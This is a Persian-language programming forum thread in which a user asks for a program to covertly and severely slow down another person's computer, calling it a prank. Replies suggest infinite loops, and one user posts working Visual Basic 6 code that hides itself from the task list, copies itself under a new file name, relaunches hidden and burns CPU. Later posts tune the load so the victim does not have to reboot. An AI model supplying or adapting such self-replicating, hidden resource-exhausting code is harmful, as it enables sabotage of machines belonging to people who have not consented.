ويروسي براي بشدت پايين آوردن سرعت سيستم

[rap0661]

كسي از دوستان اينطور سورسي سوراغ داره كه وقتي اجرا شد سرعت سيستم به اون شدت هم نه ولي خيلي پايين بيار مخصوصا اينترنت اكسپلور را كاهش بده منظورم سرعتش است براي باز كردن يه صفحه

نميخواهم مشكلات اون چنيني به وجود بياره ولي سرعت را بياره پايين

[rap0661]

كسي نيست از دوستان كمك كنه

[Payman62]

سلام.
این کار ساده ترین کاریه که یه برنامه نویس میتونه انجام بده. اما هدف از این کار چیه؟

[rap0661]

اگه ممكنه برات كمك كن هدف خاصي ندارم فقط ميخواهم با يكي شوخي بكنم و بس همانطور هم كه گفتم نميخواهم چيز زياد خطرناكي انجام دهد

[Payman62]

سلام.
یه حلقه بی انتها در فرم لود و اجرای چندین باره برنامه سیستم رو فلج میکنه.

[rap0661]

این هم یه روش است البته خودم قبلا رو این که با دستور فور و چند حلقه i to j و اینها فکر کردم ولی گفتم شاید دوستان فکر های بهتری داشته باشند

[Payman62]

سلام.
بهتر از حلقه بی انتها نداریم. چون بی وقفه از cpu کار میکشه. رو سیستم های تک هسته ای با یه بار اجرا کارکرد cpu میره رو 100%. اما رو چند هسته ای ها باید برنامه رو چند بار اجرا کنی تا سیستم بره تو کما.

[Mr.pRoGraMmer]

کد:

'Coder : Amin Mansouri
'Fake Virus (Amator Programming)
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Const Amin = "d:\Fucker.exe"
Private Sub Form_Load()
App.TaskVisible = False
AminWhile (900000000)
End Sub

Function AminWhile(Time As Long)
On Error Resume Next
Dim StartTime As Long
StartTime = GetTickCount()
Kill Amin
FileCopy (App.Path & "\" & App.EXEName & ".exe"), Amin
Shell (Amin), vbHide
While (StartTime + Time) > GetTickCount()
DoEvents
Wend
End Function

[rap0661]

دستت درد نکنه بریم برای تست ببینم جواب میده یا نه

[zirak]

با سلام.
آقای Mr.pRoGraMmer کارت درسته ولی این برنامه شما زیاد به cpu فشار نمیاره. شما مقایسه کنید.

سیستم من و برنامه شما.


سیستم من و برنامه خودم.


اصلآ برنامه پیچیده نیست و فقط طابع حلقه ای هستش.

[Mr.pRoGraMmer]

با سلام.
آقای Mr.pRoGraMmer کارت درسته ولی این برنامه شما زیاد به cpu فشار نمیاره. شما مقایسه کنید.

سیستم من و برنامه شما.


سیستم من و برنامه خودم.


اصلآ برنامه پیچیده نیست و فقط طابع حلقه ای هستش.

سلام
اینو همینجوری نوشتم
وگرنه راه روش زیاده
راستی :
رو پروسه هم زیاد فشار بیاری برنامه حالت هنگ میگیره

باید حدود 10 درصد هم به پروسه قدرت بدی تا طرف مجبور به ریسیت نشه